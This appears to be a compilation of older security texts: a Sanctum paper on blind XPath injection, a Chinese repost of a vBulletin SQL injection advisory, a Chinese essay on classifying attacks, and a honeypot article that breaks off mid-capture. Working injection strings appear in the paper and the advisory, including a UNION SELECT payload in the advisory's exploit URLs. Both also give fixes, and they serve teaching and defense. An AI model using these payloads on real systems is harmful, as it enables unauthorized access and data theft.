XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+
"' and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="")
{
// name+password pair is not found in the XML document –
// login failed.
...
}
else
{
// account found -> Login succeeded.
// Proceed into the application.
...
}
When such code is used, an attacker can inject XPath expressions (much like SQL
injection), e.g. provide the following value as a user name:
' or 1=1 or ''='
This data causes the semantics of the original XPath to change, so that it always
returns the first account number in the XML document. Such attack is called “XPath
Injection” [4], an analogy to the “SQL injection” attacks, and results in having the
attacker logged in (as the first user listed in the XML document), although the
attacker did not provide any valid user name or password.
Although this attack grants the attacker access to the application, it does not
necessarily grant him/her with access as the most privileged account. In fact, except
for logging in, the attacker has acquired no information about the XML “account
database”. In some cases, it might be possible to obtain information from the system if
the XPath expression returns data from the XML document that is later displayed to
the user (attacker). For example, the above code could have displayed the account
number of the logged-in account in the HTML response. In this case, the attacker can
further manipulate the XPath query to force the server to return various parts of the
document. For example, the following injection (for the username parameter, while
providing the value “NoSuchPass ” as the password) would return the first element of
the XPath nodeset designated by the node-set P:
NoSuchUser'] | P | //user[name/text()='NoSuchUser
This will form the following XPath query:
string(//user[name/text()='Foobar'] |
p | //user[name/text()='NoSuchUser' and
password/text()='NoSuchPass']/account/text())
Since the first and the third predicates are always false, the query returns the stringvalue
[1] of the node -set P.
ó2004 Sanctum Inc. www.SanctumInc.com 4
Note, however, that in this case, while it is possible to extract most of the data from
the database, some prior knowledge on the XPath query is needed. Without knowing
the exact format of the query, it’s very hard to figure out exactly how to form the
injection string. This is especially true if error messages are suppressed. Note it is
also impossible, in this manner, to extract non-nodeset expressions (e.g. count() and
name()).
There are many cases in which no XML data is sent directly to the user. In that case,
the above attack (and similar attacks) is not applicable.
Blind XPath Injection
It is possible to take a more systematic approach to the XPath Injection problem. This
approach is called “blind injection” (the foundation to which are laid in [5], in the
SQL injection context). It assumes more or less nothing on the structure of the query
except that the user data is injected in a Boolean expression context. It enables the
attacker to extract a single bit of information per a single query injection. This bit is
realized, for example, as “Login successful” or “Login failed”.
This approach is even more powerful with XPath than it is with SQL, due to the
following characteristics of XPath:
· XPath 1.0 is a standard language. SQL has many dialects all based on a
common, relatively weak syntax.
· XPath 1.0 allows one to query all items of the “database” (XML object). In
some SQL dialects, it is impossible to query for some objects of the database
using an SQL SELECT query (e.g. MySQL does not provide a “table of
tables”).
· XPath 1.0 has no access control for the “database”, while in SQL, some parts
of the database may be inaccessible due to lack of privileges to the application.
The technique we use is as follows:
We first show how to crawl an XPath document, using only scalar queries (that is,
queries whose return type is “string”, “numeric” or “Boolean”). The crawling
procedure assumes no knowledge of the document structure, yet at its end, the
document, in its completeness is reconstructed.
We then show how a scalar XPath query can be replaced by a series of Boolean
queries. This procedure is called a “Booleanization” of the query. A Boolean query is
a query whose result is a Boolean value (true/false). So in a Booleanization process, a
query whose result type is string or numeric is replaced with a series of queries whose
result type is Boolean, and from which we can reconstruct the result of the original
string or numeric query. This is explained in detail below.
Finally, each Boolean query can be resolved by a single “blind” injection. That is, we
show how it is possible to form an injection string, including the Boolean query, that,
when injected into an XPath query, causes the application to behave in one way if the
Boolean query resolves into “true”, and in another way if the query resolves into
“false”. This way, the attacker can determine a single bit – the Boolean query result.
ó2004 Sanctum Inc. www.SanctumInc.com 5
The novelty in this approach towards XPath Injection is that it does not require much
prior knowledge of the XPath query format unlike the “traditional” approach
described above. It does not require that data from the XML document is embedded in
the response and that the whole XML document is eventually extracted, regardless of
the format of the XPath query used by the application. It uses only a difference in the
application behavior resulting from a difference in the XPath query return value to
extract a single information bit.
XPath Crawling
Provided there is a path for the current element (path), we can easily proceed.
· The recursion starts with path=''.
· The element name (including namespace name) is given as name(path),
and the namespace value is namespace-uri(path).
· The number of attributes of the element is count(path/attribute::*),
the Nth attribute name is name(path/attribute::*[position()=N]), the
Nth attribute namespace value is namespaceuri(
path/attribute::*[position()=N]) and the Nth attribute value is
path/attribute::*[position()=N].
There are 4 types of sub-nodes: text, processing-instruction (abbreviated as “PI”),
element and comment. An annoying quirk of XPath 1.0 is that it’s possible to
enumerate over sub-nodes, but it is impossible to directly retrieve the node type.
However, there’s a simple work around, which involved some bookkeeping.
First, we need to know the number of various sub-nodes:
count(path/child::node()) - the count of all the nodes for the given path.
count(path/child::text()) - number of text fields children (up to 1...).
count(path/child::comment()) - number of comment nodes.
count(path/child::*) - the number of element children.
count(path/child::processing-instruction()) - the number of PI
nodes.
Now, the trick is to maintain at all times the current number of nodes from each type
encountered so far. This enables us to know what index from each type is a candidate
for the next node. We therefore have up to 4 candidates. It is mandatory for this
technique not to list a candidate from a type that is exhausted – hence the need to first
find out how many sub-nodes are expected from each type. Suppose we have counters
i, j , k an l for text sub-nodes, comment sub-nodes, element sub-nodes and PI subnodes,
respectively. And let us assume, for simplicity, than none of the types are
exhausted, i.e.
i < count(path/child::text()) and
j < count(path/child::comment()) and
k < count(path/child::*) and
l < count(path/child::processing-instruction())
ó2004 Sanctum Inc. www.SanctumInc.com 6
Now, we look at the following node -set expression:
path/child::node()[position()=((i+j+k+l+1)] |
path/child::text()[position()=(i+1)]
If the next sub-node (number i+j+k +l+1) is indeed the next text sub-node (number
i+1), then the two node -sets that are united are in fact the same node-set, which
contains exactly one node. However, if the next sub-node is not a text sub-node, then
the union will produce two nodes. Therefore, we can know if the next sub-node is a
text sub-node, by asking:
count(path/child::node()[position()=((i+j+k+l+1)] |
path/child::text()[position()=(i+1)])=1
A true value indicates that the next sub-node is a text sub-node, and a false value
indicates that it is not. Likewise, the next 3 queries can be used to know if the subnode
is a comment sub-node, an element sub-node, or a PI sub-node:
count(path/child::node()[position()=((i+j+k+l+1)] |
path/child::comment ()=(j+1)])=1
count(path/child::node()[position()=((i+j+k+l+1)] |
path/child::*()[position()=(k+1)])=1
count(path/child::node()[position()=((i+j+k+l+1)] |
path/child::processing-instruction()[position()=(l+1)])=1
A text sub-node value is simply:
path/child::node()[position()=N]
A comment sub-node has the following data:
path/child::node()[position()=N]
In order to process an element sub-node, a recursion is needed (we implemented
DFS). The procedure we describe here is thus called with the path
path/child::node()[position()= N]
And a processing instruction sub-node has a name:
name(path/child::node()[position()=N]), and data
path/child::node()[position()=N]
Booleanization of XPath Scalar Queries
We now describe how a query whose return type is string or number can be replaced
with a sequence of XPath queries whose return type is Boole an.
Let us assume that Q is a numeric XPath query. Let us further assume that we handle
32-bit signed integers (which is sufficient in a 32 bit architecture). We first extract the
sign bit of Q:
(Q>=0)
True value indicates that Q is positive (or zero), and false value indicates that Q is
negative. We then use –Q (instead of Q) if it is negative, and proceed. Assuming that Q
ó2004 Sanctum Inc. www.SanctumInc.com 7
is positive, we extract its 31 bits, also assuming we already know the most significant
N bits (of the 31 bits), we can then find the next bit: Let K be the number formed by the
known N high bits, then the N+1 bit is set to 1, then the rest, 30-N bits, set to 0.
((Q-K)>=0)
Yields true if the N+1 bit (from the left) is 1, and false if that bit is 0.
Thus we can reconstruct a positive Q with 31 Boolean queries. We start with N=0 and
iteratively extract the next bit until we get to N=30, inclusive.
A string query S is first factored into bytes (or, more accurately, Unicode symbols), as
follows:
First, we query the string length using the XPath string-length function, which is a
numeric query (covered above):
(string-length(S))
Then we can iterate over the symbols, reducing the query into a series of one byte
(symbol) queries:
(substring(S,N,1))
Now, a single byte/symbol query B is in turn reduced into Boolean queries as follows:
Let us assume that the list of possible symbols (excluding the double quote mark) in
the document is known (denote it by C), and that the list’s length is L. L is hopefully
small, e.g. if it is known tha t the XML document is in fact comprised of printable
ASCII characters, including CR, LF and HT, excluding double quotes, then L is 97.
We index each possible symbol, starting from 0 and going to (L-1). Denote by
K=ceiling(log2(L)) – this is the number of bits that are required to determine the
symbol. Now, we prepare K strings of length L. The Nth string is a list of bits in
position N of the symbols.Let us designate the Nth string as CN.
First, we ensure that the byte is not a double quote:
(B='”')
If the expression returns true, then the byte is simply the double quote mark.
If the expression is false, we proceed as follows:
The Nth bit is extracted as following
(number(translate(B,”C”,”CN”))=1)
If this yields true, then the Nth bit is 1, and if it yields false, the Nth bit is 0.
Note, we must exclude the double quote mark from C, or else the XPath syntax will
be broken. Thus we are able to extract string queries using Boolean queries.
ó2004 Sanctum Inc. www.SanctumInc.com 8
Mounting a Blind XPath Injection
Consider the following XPath query string (from the above C# code):
"string(//user[name/text()='"+TextBox1.Text+
"' and password/text()='"+TextBox2.Text+"']/account/text())"
Now, injecting a username of
NoSuchUser' or E or 'foobar'='
forces the predicate to yield true if E is a Boolean expression that evaluates to true,
and to yield false if E is evaluated as false. Therefore, the application logs in
successfully if E is true, and rejects the login attempt if E is false. We now have a
mechanism that extracts a single bit from the system – the Boolean XPath expression
E. As we saw above, this suffices to extract the entire underlying XML document.
In fact, a Perl script, implementing an algorithm that demonstrates this attack, was
written by Ory Segal and Ronen Heled (both of Sa nctum Inc). This algorithm
successfully extracted a short XML document (from an XPath application provided
by Chaim Linhart of Sanctum Inc), by recursively DFS crawling the document and
sending Booleanized queries in form of blind XPath Injection. As can be analyzed
from the above discussion, the algorithm has runtime complexity (number of queries)
of O(document size). Query size is bounded (up to a constant overhead) by the size of
the document effective alphabet, L (e.g., for ASCII only documents – 97).
It is interesting to note that there are very few variants of the above injection that
cover most of the possible injection “space”. Specifically, it does not require (in most
cases) knowing exactly the structure of the XPath query. Therein lies the strength of
the blind XPath Injection attack.
Shortcomings of the Current Algorithm
· Non ASCII symbols and special characters
In the Booleanization of a single symbol query, we need to send the server an
XPath query consisting of all possible symbols expected in the XML document.
This may be problematic in some cases – the server may reject such requests due
to specific character restrictions (e.g. “<”, CR, LF, HT). When ASCII documents
are expected, this is not a problem (at least not in ASP.NET 1.0).
· Query size
When the document alphabet size (L) is large, the symbol Booleanization queries
(whose size is slightly bigger than L) may be rejected due to length restrictions (in
order to cover a generic Unicode document, some 65000+ symbols would be
sent…).
It is possible to replace the long strings of possible symbols with segments of
possible symbols, thus trading off number of queries for query size. In the
extreme, it is possible to send a multitude of simple Boolean expressions, such as
(assume s is a single symbol):
(B='s')
ó2004 Sanctum Inc. www.SanctumInc.com 9
This, of course, affects the runtime complexity – in the extreme case,
multiplying it by L.
· Imperfect reconstruction of the XML document
An XML document may contain xmlns attributes (designating
namespaces), xml: space attributes (governing how spaces are handled)
and xml:lang attributes (designating languages). Also, the XML
declaration is not accessible. Furthermore, what is accessible is the logical
document, where DTD, default attributes and values, XML entities and
CDATA are already expanded.
· Performance
The algorithm described above is not optimized for speed. There are some
areas where optimization can be applied, for example, predicting
“reasonable” number of bits per integer (usually much less than 31), and
parallelizing some queries. The Booleanization of the numeric query can
be done in a way that enables sending all queries in parallel, using the
numeric division and “mod” operators, and the byte Booleanization and
string to byte factoring are definitely parallelizable. Sending several
queries in parallel makes much better use of the attacker resources.
XPath 2.0
XPath 2.0 [7] is the next version of XPath, currently at status “Working Draft” (as of
February 15th, 2004). XPath 2.0 expands many of the capabilities of XPath 1.0. In
theory, with XPath 2.0 an attacker can gain much more than with XPath 1.0:
· XPath 2.0 can access documents by URL and is not restricted to the
“current” document, using the doc function or the collection function
[8]. This enables the attacker to retrieve any XML document whose
location on the host is known (using a URL with a file scheme format, e.g.
file:///c:/data/database.xml) and is accessible by the server.
· XPath 2.0 has a function (string-to-codepoints, [8]) that converts a
string (a single symbol, in our case) to a sequence of numbers that
represent the Unicode codes for that string. This simplifies the retrieval of
symbols, and hence of strings.
· We did not experiment with XPath 2.0.
Defending against XPath Injection
Defending against XPath Injection is essentially similar to defending against SQL
injection. The application must sanitize user input. Specifically, the single and double
quote characters should be disallowed. This can be done in the application code, or
externally by deploying Sanctum’s AppShield, a web application firewall, in front of
the application. AppShield can be used as a drop-in solution for preventing
application–level attacks such as XPath Injection, SQL injection, and Cross-site
Scripting. By understanding the application logic and enforcing it, AppShield can
protect Web sites from attack, while seamlessly permitting valid interactions with the
site. In the case of XPath Injection, AppShield will ensure that hidden fields that
might be used in the context of XPath queries are not altered, and that user input (e.g.
ó2004 Sanctum Inc. www.SanctumInc.com 10
text boxes and password fields) does not contain hazardous characters or character
combinations, that might alter the XPath query semantics.
Testing application susceptibility to XPath Injection can be easily perf ormed by
injecting a single quote or a double quote, and inspecting the response. If an error has
occurred, then it is likely that an XPath injection is possible. This testing process can
be automated by using Sanctum’s AppScan, an automated security testing tool which
tests for exactly this vulnerability, and accurately verifies the results of the test.
AppScan can also test for many other application vulnerabilities, thereby providing an
important functionality in the QA process – that of the security quality testing suite. In
the context of XPath Injection, AppScan will try to send an attack for each relevant
script and parameter it finds in the site, and by evaluating the response, it will detect
which script and parameter is vulnerable to XPath Injection, and which is not.
AppScan will provide detailed fix recommendations for addressing XPath Injection,
including specific instructions for both ASP.Net and J2EE development
environments. This content can then be used as a feedback for the programmer, to act
upon and fix the problems.
Conclusion
We showed that it is possible to extract the complete XML document used in an
XPath query, with very little knowledge of the XPath query, and without the need to
obtain data from the response (other than different “behavior”) using a method we call
“Blind XPath Injection.” This attack is feasible in terms of runtime, and was
implemented in Perl and successfully mounted on some XPath/XML examples.
Applications that embed user data into XPath queries in an insecure manner are,
therefore, susceptible to this kind of attack, and the XML documents used by the
XPath queries may be compromised. Defense and testing measures are possible to
protect applications against XPath Injection. Particularly, Sanctum's AppShield can be
used to protect a vulnerable application, without the need to modify the application
code, and AppScan can be used to quickly and accurately find the application scripts
which are vulnerable to XPath Injection so that they can be fixed prior to going into
production.
Acknowledgements
To Chaim Linhart (Sanctum), for triggering this research.
To Ory Segal (Sanctum), for implementing the XPath crawler.
To Ronen Heled (Sanctum), for implementing the Booleanization functions.
ó2004 Sanctum Inc. www.SanctumInc.com 11
References
[1] "XML Path Language (XPath) Version 1.0 - W3C Recommendation, 16
November 1999", http://www.w3.org/TR/xpath
[2] "XSL Transformations (XSLT) Version 1.0 - W3C Recommendation, 16
November 1999", http://www.w3.org/TR/xslt
[3] "XQuery 1.0: An XML Query Language - W3C Working Draft, 12 November
2003", http://www.w3.org/TR/xquery/
[4] “Encoding a Taxonomy of Web Attacks with Different-Length Vectors”, G.
Alvarez and S. Petrovic, http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf
[5] “Using Binary Search with SQL Injection”, Sverre H. Huseby,
 http://shh.thathost.com/text/binary-search-sql-injection.txt
[6] “Extensible Markup Language (XML) 1.0 (Second Edition) - W3C
Recommendation, 6 October 2000”, http://www.w3.org/TR/REC-xml
[7] “XML Path Language (XPath) 2.0 – W3C Working Draft, 12 November 2003”,
 http://www.w3.org/TR/xpath20/
[8] “XQuery 1.0 and XPath 2.0 Functions and Operators – W3C Working Draft, 12
November 2003”, http://www.w3.org/TR/xpath-functions/
[9] “XML Database Products – Native XML Databases”, Ronald Bourret,
 http://www.rpbourret.com/xml/XMLDatabaseProds.htm#native


[转载]vBulletin init.php SQL Injection漏洞

信息来源： www.securiteam.com

Summary
vBulletin is "a commonly used web forum system written in PHP. One of its key features is use of templates, which allow the board administrator to dynamically modify the look of the board".

vBulletin's init.php contains a SQL injection if the "magic_quotes_gpc" directive of PHP has been set to OFF.

Details
Exploit:
 http://site/forum/global.php?specialtemplates=al3ndaleeb ')
 http://site/forum/global.php?do=phpinfo&specialtemplates []=al3ndaleeb') UNION SELECT concat('options') as title,concat('a:4:{s:15:"templateversion";s:5:"3.0.3";s:12:"allowphpinfo";s:1:"1";s:10:"languageid";s:1:"1";s:7:"styleid";s:1:"1";}') as data/*

Workaround:
Open init.php file and search for these lines:
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplates) . "')
");
unset($specials, $specialtemplates);

Replace with these :
if(!is_array($specialtemplates))
exit;

$specialtemplate = array();
foreach ($specialtemplates AS $arrykey => $arryval)
{
$specialtemplate[] = addslashes($specialtemplates["$arrykey"]);
}

$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplate) . "')
");
unset($specials, $specialtemplates, $specialtemplate);

Additional information
The information has been provided by al3ndaleeb.


网络安全技术概论系列（一）

文章作者：Ipxodi

作者：Ipxodi < mailto: ipxodi@nsfocus.com >
主页： http://www.nsfocus.com/
日期：2001-05-14

一：序言

攻防技术的此消彼涨始终是网络安全领域前进的动力。最近十几年来的网络安全的发展
深刻的验证了这个道理。攻击技术包括目标网络信息收集技术，目标网络权限提升技
术，目标网络渗透技术，目标网络摧毁技术四大类。
对于每一个技术，都是日新月异，不断更新的。具体来说，可以有如下划分：
网络信息收集技术，包括如下几个分类：
目标网络主机拓朴结构分析技术；
目标网络服务分布分析技术；
目标网络漏洞扫描技术；

目标网络权限提升技术，包括如下几个分类：
本地权限提升；
远程权限提升；

目标网络渗透技术，包括：
后门技术；
sniffer技术；
欺骗技术；
tunnel及代理技术；

目标网络摧毁技术包括：
目标服务终止；
目标系统瘫痪；
目标网络瘫痪；
这三个级别的技术。

防守技术则包括攻击检测，攻击防范，攻击后的恢复这三个大方向，每一个方向上有代
表性的产品：入侵检测系统负责进行攻击检测，防火墙和强制访问控制系统负责攻击防
范，攻击后的恢复就是自动恢复系统，比如WEB水印系统等等。
本文以及后续各文将试图总结和归纳信息采集技术的各个方面。目的主要是试图将纷繁
浩杂的文献作一次整理，提出一些新的想法和思路，当一次系统化研究攻防技术的铺路
石。

目前的计划是首先阐述攻防知识库构造这个攻和防都需要涉及的基础领域，以后将详细
阐述网络信息收集技术和对应的检测技术，之后看情况，进行其他各个部分的整理和归
纳。

二：攻防知识库的构建
一提起攻防知识库，人们一般想到的就是互联网上充斥的漏洞库。漏洞库是一切攻击和
防守行为的知识基础，一般来说，漏洞库的组建，涉及到如下几点：
漏洞分类问题；
漏洞相关信息完备集的问题；
漏洞库与IDS规则库，扫描器规则库，补丁管理库配合问题；
漏洞分类问题一直没有得到一定的重视，当需要维护一个漏洞库的时候，人们一般会想
到根据发布日期，操作系统，应用程序，版本，得到的结果进行分类，我们经常可以在
一些提供漏洞搜索服务的界面上看到如下的输入选项：

操作系统：________________
发布时间：________________
漏洞类型：________________

漏洞的分类其实是和对漏洞的使用方式有很大关系的，比如当需要作主机安全评估的时
候，人们并不关心漏洞的实现方式：是远程溢出？还是暴力破解。他们在查询的时候可
以提供的信息就是已知一定版本的机器，开放了这几种服务，想得到的信息是：我可以
提升自己的权限到什么级别？或者我可以获得什么我本来得不到的信息？当我们出于技
术目的，比如想查询缓冲区溢出的漏洞的时候，需要提供的就是漏洞的技术手段。当用
户从某一个安全程序比如IDS获得一次告警，并被告知请看BUGTRAQID×××的时候，你
能指望他会知道什么？他只要知道一个通用的ID来查询漏洞的详细信息就可以了。

对漏洞的分析多种多样，决定了漏洞的分类原则多种多样。stardust[1]进行了卓有成
效的分类规划：他根据漏洞可能造成的直接威胁，漏洞的成因，漏洞的严重性，漏洞被
利用的方式，作了五种分类。其分类的最大贡献在于他考虑到了分类标准的复杂性并提
出了几种不同的分类方法，使得不同查询需求之间不再混淆。他的分类方式当然有可以
商榷的地方，比如缺少对不同衍生产品的支持，当IDS产品需要为一个漏洞进行规则编
写的时候，为什么不能继续使用同样的分类，同样的ID呢？扫描器，自动攻击系统，以
及补丁系统其实很大程度上是基于漏洞的。可能每个产品还有自己的一些分类标准，比
如扫描器需要将finger服务开放作为一个安全隐患报告出来，这个和漏洞库没有关系。
因此，需要有一个ID的统一制定规范来保证大部分产品可以根据漏洞库生成出自己的
ID，算法应该是公开的。因此，其问题在于，没有提出对漏洞ID的统一。不方便作查
询。另外，其分类没有从安全评估的实用角度来构造，没有一个有效的算法可以使用人
工智能的方法对他的构造的库进行自动渗透，这个问题是最致命的。

可能大家感觉到建立在漏洞概念上的分类总是让人觉得很别扭，因为总是有很多领域不
可以包含一个分类标准，不得不为其单设一个分类标准。比如nmap扫描，这对于IDS来
说是一个攻击，扫描器几乎一定会用他来收集目标网络的详细信息，但是谁知道他应该
属于什么漏洞分类呢？因此，应该换一个思路了。

我们应该基于攻击来考虑问题。这就引入了另一个非常有趣的领域：攻击库的构造，注
意这两个库名称上的细微差别，攻击库的使命就是为对一个网络的安全评估提供弹药，
甚至可以从知识库的角度来对自动攻击进行支持。他不同于漏洞库在于他全面涵盖了攻
击的所有范畴。攻击库的分类是在漏洞库的分类的基础上发展起来的，文献[2]记载着
其历史轨迹。总的说来，攻击库至少包括了如下几个重要的域：
攻击ID：
攻击名称：
攻击的分类：
攻击对应的漏洞信息（如果有的话）
攻击对应的patch

其中最重要的当然是攻击的分类。Area52[3]致力于使用正向逻辑进行攻击推理，形成
决策树的自动攻击技术研究，他们进行了基于OSI模型的详细的攻击分类，但是文献中
并没有考虑到所有的攻击手段。我将对网络摧毁技术的考虑和他们的分类结合，并且由
于现在的流行网络协议已经是简化的类TCP模型，因此提出了一个改进的分类方法。

下面将详细的阐述攻击的分类方法：攻击的重要特征就是他的阶段性。对于一个陌生的
网络，你的权限是零，当你知道了他的IP之后，你就可以对他进行端口扫描，你可以知
道他的应用层的一些信息：HostName，可以看到他开放了什么服务，这时你的权限已经
提升了。每一次攻击都是一次权限的提升，这个递增的迭代发展到最后就形成了最高的
权限。

针对这种特征，我们将对权限进行分类，这个分类必须可以体现出分层次的概念。显
然，考虑到多种网络模式，对于网络应用来说，在每一个层次上，可以有三种权限：
Read，Write，Modify。其中详细的分类原则请参看下图：
TCP Layers Acc Implication

*--------------*
| Application |
| 4 | M 应用程序所有权限
| | W DoS，非授权的向应用接口写
| | R 应用程序信息采集
|--------------|
| Transport |
| 3 | M 重定向
| | W DoS，扫描
| | R 信息采集
|--------------|
| Network |
| 2 | M 重定向
| | W DoS，扫描
| | R 信息采集
|--------------|
| Data Link |
| 1 | M 重定向
| | W DoS，扫描
| | R 信息采集
|--------------|
| Physical |
| 0 | M 重定向
| | W DoS，扫描
| | R 信息采集
*--------------*
对于一般的没有防火墙的机器，我们的权限都是3W*,表示我们是可以对目标网络层拥有
W*表示你对该网络可以写正确的网络报文，如果是错误的TCP报文，会被丢弃。在我们
使用了NMAP[4]之后，就可以提升到权限4W*,因为此时我们已经可以对所有的服务有一
个很清晰的列表了。

权限的更进一步的分类就是处于本地系统之后的情况，此时权限有：
4 内核层次 (R,W,M)
3 超级用户 (R,W,M)
2 普通用户 (R,W,M)
1 匿名用户 (R,W,M)

最后一个是你物理的接近了该系统的情况，此时的权限有：
4 内核层次 (R,W,M)
3 超级用户 (R,W,M)
2 普通用户 (R,W,M)
1 匿名用户 (R,W,M)

这样我们可以归纳出我们的攻击分类词法的正则表达式为：
[RLP][0-4][RWM*]

比如，如果是CMSD[5]远程溢出，我们可以这样写：

Name Systems Versions Level required Level gained
----------- -------- -------------- -------------- ------------
"CMSDBO1" "Solaris 2.6" "rpc.cmsd 2.6" "R4W" "L3W"

这样就全面的描述了发起一次攻击所需的权限以及攻击成功后可以达到的权限级别。这
个分类是出于攻击者需要获得对对方的控制来制定的，并且考虑了另外一个攻击技术就
是对目标网络的摧毁。

基于本分类技术，可以对任何目标建立一次推理分析过程。比如如果我们的目标为获得
某网主机的超级用户权限，我们可以将他归纳为：L3W权限，那么我们的初始权限为
R3W,下面我们将根据我们的知识库进行推导：
需要的权限和信息 获得的信息和权限
NMAP R3W -> R4W (结果 Object System Found: Solaris 2.6 )
RPCInfo[6] OS=Solaris 2.6 ,R3W -> R4W (结果 cmsd open )
CMSDBO1 V=rpc.cmsd 2.6,R4W -> L3W
经过简单的两次推导，我们就可以得到两个攻击的策略。每一次的决策都是动态决定
的，当决策出现错误的时候，将回朔进行新的探索，直到找到正确的攻击手段为止。

本分类方法可以比较好的与自动攻击系统的决策相配合，因此是攻击库的分类的一个相
当不错的选择。

在实际的应用之中，将漏洞库和攻击库的结合是非常重要的，每一个库的用途决定了他
们的存在必要性，在应用之中都是并存的。如果有兴趣，可以和我进行进一步的交流。

文献：
[1] stardust: 计算机网络系统安全漏洞分类研究
 http://www.xfocus.org/other/ztwz/hole.doc

[2] Dr Ross Anderson from University of Cambridge
 http://www.cl.cam.ac.uk/Teaching/1998/Security/

[3] Jitsu-Disk < jitsu@nmrc.org > Area52 Project
 http://www.nmrc.org/area52/index.html

[4] NMap by Fyodor.
 http://www.insecure.org/nmap

[5] Buffer Overflow Vulnerability in Calendar Manager Service Daemon,
rpc.cmsd
 http://packetstorm.securify.com/advisories/cert/CA-99-08-cmsd.txt

[6] rpcinfo(1M) report RPC information


网管请进：关于网络安全，其实可以主动防御。

作者：marsoo 发表时间：2002/09/25 10:32am

（转贴）
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
Honeyport技术讲解
本文出自:http://xfocus.org/ 作者:morrison(Morrison@xfocus.org)
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
引言：
我的一个好朋友前两天和我聊天的时候告诉我了一个故事：他在网上认识了一个人，告诉说自己是个网络黑客，而且说
目前在国内没有进不去的主机。我的朋友被震住了，这样的水平太高了，但同时又心有疑虑。通过修改了自己FreeBSD的
一些配置如banner以及用nc开了一些服务并备份删除了一些suid文件，然后启动一个sniffer并建立了一个本地一般系统
帐号，并把自己的IP和这个帐号告诉了这个朋友，让他放心进来试试能不能本地夺取root。后来我的朋友对我大笑说"你
知道这个朋友做了什么，他的所有击键记录里什么也没做，当了几个在RedHat下缓冲溢出程序，还没有编译成，然后后
来告诉我"你的系统已经被放置了后门""。我听了后也笑了，但同时想到了honeypot-"蜜罐"。
Hoenypot定义
一个"honeypot"就是一个设计用来观测黑客如何探测并最终入侵系统的一个系统，它意味着包含一些并不威胁公司机密的
数据或应用程序同时对于黑客来说又具有很大的诱惑力的这样的一个系统，也就是放置在你网络上的一台计算机表面看来
象一台普通的机器但同时通过一些特殊配置来引诱潜在的黑客并捕获他们的踪迹，就像捕鼠器一样。我们并不是使用它来
抓获黑客，仅仅想知道他们在并不知道自己被观测的情况下如何工作，黑客呆在"honeypot"的时间越长，他们所使用的技
术就暴露的越多，而这些信息可以被用来评估他们的技术水平，了解他们使用的攻击工具。通过学习他们使用的工具和思
路，我们可以更好的保护我们的系统和网络。
一个好的"honeypot"意味着黑客从来不知道自己被跟踪,当然，"道高一尺，魔高一丈"，没有任何一个"honeypot"可以
捕获所有的黑客。我们所提到黑客意味着这样一些人：没有经过授权的情况下对系统进行存取，有可能是一个15岁的小
孩，或者45岁的公司雇员，尽管这里提到很多关于我们所跟踪的黑客，但是我们并不知道他的实际年龄。
honeypot在各个操作系统上实现都不太一致，但最终的思路是一样的，你要让你的入侵者不知道你正在观测他（她），
最好他会在上面开IRC J。想写案例，可又不能瞎掰，只好选用国外两篇文章先。下面先介绍--<<know your enemy
worms at war>>。然后我们会用NC自己作一个简单"honeypot"然后我们来看看wined和dtk。
1. Windows上的honeypot
在一个月的时间内（2000/9/20-2000/10/20）我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是
基于UDP137端口（NetBIOS命名服务）的探测，有时伴随着基于TCP139端口（NetBIOS会话服务）。所有这些表明存在大量的
针对特殊服务的扫描活动，某些事情正在发生，我们决定发现出了什么事。
我们的网络并没有在Internet做什么广告或者宣传，仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。
但同样会威胁到你的系统的安全，由于这些扫描主要针对Windows系统，有可能主要瞄准通过DSL或Cable连接的普通家庭用户。
我们不讨论间谍或主页被黑，我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇：谁正在作这样的
扫描？他们的意图是什么？为什么存在大量的这种扫描？协同探测的结果？是蠕虫吗？带着很多问题，我们决定去发现结果
并放置了我们的Windows"honeypot"，我们缺省安装了一台Windows98并且使c:盘共享，尽管一台Windows98 "honeypot"听起
来并没有多大的诱惑力，但是仍然可以通过建立这样的系统来获得我们所想知道的。
在Internet上有大量的Windows98系统，而且这个数量还在快速增长。作为具有代表性的系统，该系统存在大量的安全漏洞。
但是作为家庭用户并没有认识到连接到Internet的风险性，他们中的大多数还是专注地连接Internet。
这是我们的第一个基于Microsoft的"honeypot"，该计划也非常简单并且希望学到什么。
在2000/10/31日，系统安装好，共享打开，并且连接到Internet，我们开始等待，等待时间是如此漫长。
第一条蠕虫
至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows
系统，他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开，开
始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫，如果没有，就会安装它。
在这里，这种蠕虫并没有被安装，这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助
某人赢得distributed.net竞赛，distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战（如 crack RC5-64）奖
项的组织。如果赢得挑战将获得一些奖金，在这里，我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。
某个人（bymer@inec.kiev.ua），制作了这个可复制的蠕虫，它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net
客户端。一旦被安装且被执行，蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的
系统，它的目标是获取更多的CPU资源，处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包
（在这里我们使用snort）。为了更方便的分析NetBIOS协议，你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如
下，IP为172.16.1.105的是我们"honeypot"的地址。
